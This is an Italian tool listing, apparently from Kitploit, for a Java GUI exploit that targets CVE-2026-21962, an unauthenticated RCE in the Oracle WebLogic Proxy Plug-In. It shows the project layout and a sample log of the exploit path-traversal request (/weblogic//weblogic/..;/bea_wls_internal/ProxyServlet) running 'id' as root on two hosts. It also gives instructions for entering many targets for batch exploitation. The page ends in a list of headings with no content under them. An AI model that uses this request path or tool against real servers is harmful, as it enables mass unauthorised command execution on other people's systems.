CVE-2026-21962_Java_GUI_Exploit_Tool — Java GUI tool per lo sfruttamento di CVE-2026-21962, una RCE non autenticata nel Proxy Plug-In di Oracle WebLogic, che consente l'esecuzione di comandi multi-target via HTTP. | Kitploit

CVE-2026-21962 Strumento di Exploit GUI Java

Versione GUI Java dello strumento di exploit per la vulnerabilità RCE (Remote Code Execution) del Proxy Plug-In di Oracle WebLogic Server.

Struttura del progetto

java-version/
├── pom.xml              # File di configurazione del progetto Maven
├── README.md            # Documentazione del progetto
├── run.bat              # Script di avvio per Windows
└── src/
    └── main/
        └── java/
            └── com/
                └── ashwesker/
                    └── cve202621962/
                        ├── Main.java                    # Punto di ingresso del programma
                        ├── core/
                        │   └── Exploit.java             # Logica principale dell'exploit
                        ├── gui/
                        │   └── MainWindow.java          # Finestra principale della GUI
                        └── util/
                            └── HttpClient.java          # Utilità per le richieste HTTP

Layout dell'interfaccia GUI

[*] Avvio del test della vulnerabilità...
[*] URL di destinazione: http://192.168.1.100:7001
[*] Comando da eseguire: id
[*] Percorso di test: http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Successo! Codice di stato: 200
[+] Comando eseguito con successo!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
================================================================================
[*] Avvio del test della vulnerabilità...
[*] URL di destinazione: http://192.168.1.101:7001
[*] Comando da eseguire: id
[*] Percorso di test: http://192.168.1.101:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Successo! Codice di stato: 200
[+] Comando eseguito con successo!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------

Inserire più indirizzi di destinazione nel campo di testo "URL di destinazione", uno per riga
```
http://target1:7001
http://target2:7001
https://target3:4443
```
Inserire il comando da eseguire nel campo "Comando da eseguire"
Fare clic sul pulsante "Esegui exploit" per avviare il test batch
Il programma testerà ogni destinazione in sequenza; gli output delle diverse destinazioni sono separati da ================ (80 segni di uguale)
Consultare il "Log di esecuzione" in basso per conoscere il processo di test di ogni destinazione
Consultare l'"Output dei comandi" in basso per ottenere i risultati dell'esecuzione dei comandi di tutte le destinazioni

CVE-2026-21962_Java_GUI_Exploit_Tool

Più Popolari

Caratteristiche

Dipendenze

Compilazione ed esecuzione

Compilazione con Maven

Creazione del pacchetto JAR

Esecuzione del programma

Metodo 1: utilizzo dello script di avvio (consigliato)

Metodo 2: esecuzione con Maven

Metodo 3: esecuzione diretta del JAR

Metodo 4: esecuzione con il comando Java (richiede la compilazione)

Esempi di utilizzo

Esempio 1: test su singola destinazione

Esempio 2: test batch su più destinazioni

Istruzioni per l'uso

Test su singola destinazione

Test batch su più destinazioni

Altre operazioni

Dettagli della vulnerabilità

Percorsi di test

Avvertenze

Implementazione tecnica

Descrizione dei componenti principali

Licenza